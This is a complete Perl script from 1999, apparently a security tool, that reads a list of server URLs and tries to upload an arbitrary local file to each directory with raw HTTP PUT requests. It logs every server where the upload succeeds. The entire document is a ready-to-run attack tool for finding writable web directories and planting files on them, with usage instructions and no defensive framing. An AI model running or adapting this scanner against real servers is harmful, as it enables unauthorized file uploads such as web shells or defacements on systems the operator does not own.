#!/usr/bin/perl
#
# @1999 martin eiszner / security@freefly.com
# tries to http-PUT file into in
# given server directory-listing (file)
#
# tried not to use any LWP-modules this time :-)
#
# todo: add ssl-support (Net::SSLeay)
# add proxy-support
#
################################################

use strict;
use Getopt::Std;
use Socket;

## get options
##
use vars qw($opt_m $opt_u $opt_p $opt_l);
getopts("m:u:p:l:");

## vardecs
##
my $mapfile = $opt_m;
my $uploadfile = $opt_u;
my $logger = $opt_l;
my $port = $opt_p || "80";

## usage
##
if (!$mapfile || !$uploadfile)
{
print "\nusage: $0 -m [mapFile]\n\t-u [uploadFile]\n\t-p [port]\n\t-l [logFile]\n\n";
exit 1;
}

## read uploadfile
##
$uploadfile =~ /(.[^\/]+)$/;
my $upname = $1;
$upname =~ s/\///;

my $ucont = "";

open (UF, "< $uploadfile") || die "\ncant open $uploadfile\n";
while (<UF>)
{
$ucont .= $_;
}
close(UF);

## other files
open (MAP, "< $mapfile") || die "\ncant open $mapfile\n";
if ($logger) { open (LOG, "> $logger") || die "\ncant open $logger\n"; }

################
## the main loop

while (<MAP>)
{
## check it out
##
my $url = $_;
$url =~ s/[\n\r]//g;

## find out whats our url is all about
##
my($prot, $host, $path, $query, $frags) =
$url =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;

## need ip for socket conn
##
my $ip = gethostbyname($host);

## remove any file from the path
##
#print "expath: $path\n";
$path =~ s/.[^\/\.]+\..[^\/\.]+//;
$path .= "/" if ($path =~ /[^\/]$/ || length($path) < 1);

## yfmi
##
my $inf = "$prot://$host$path";

## try it now
##
my $message = &put($path.$upname, $ip, $port, $ucont);

if ($message =~ /HTTP\/1\.1\s201/i)
{
print "$inf ****** PUT WORKS ******\n";
print LOG "$inf ****** PUT WORKS ******\n" if($logger);
}
else
{
$message =~ /^http\/.\..\s(.[^\s]+)\s(.[^\r\n]+)/i;
print "$inf ($1 - $2)\n";
print LOG "$inf ($1 - $2)\n" if($logger);
}
}

## end main loop
################

close (MAP);
close (LOG) if($logger);


#########################
## end main start subs
#########################

## simple PUT request
##
sub put
{
my ($p,$h,$port, $c) = @_;
my $r = "PUT $p HTTP/1.1\nHost: $h\nContent-Length: ".length($c)."\n\n".$c."\n\n";

return request($h,$port,$r);
}

## simple socket write-read
##
sub request
{
my ($host,$port,$req) = @_;
my $res = "";
select(STDOUT); $|=1;
socket(SOCKET,PF_INET,SOCK_STREAM, getprotobyname('tcp') || 0) || return "socket not created";
select(SOCKET); $|=1;
select(STDOUT);

if(connect(SOCKET,pack "SnA4x8",2,$port,$host))
{
print SOCKET $req;
sleep(1); shutdown SOCKET, 1;
while (<SOCKET>) { $res .= $_; }
close(SOCKET);
}
else { return "socket not connected"; }

## ok
return $res;
}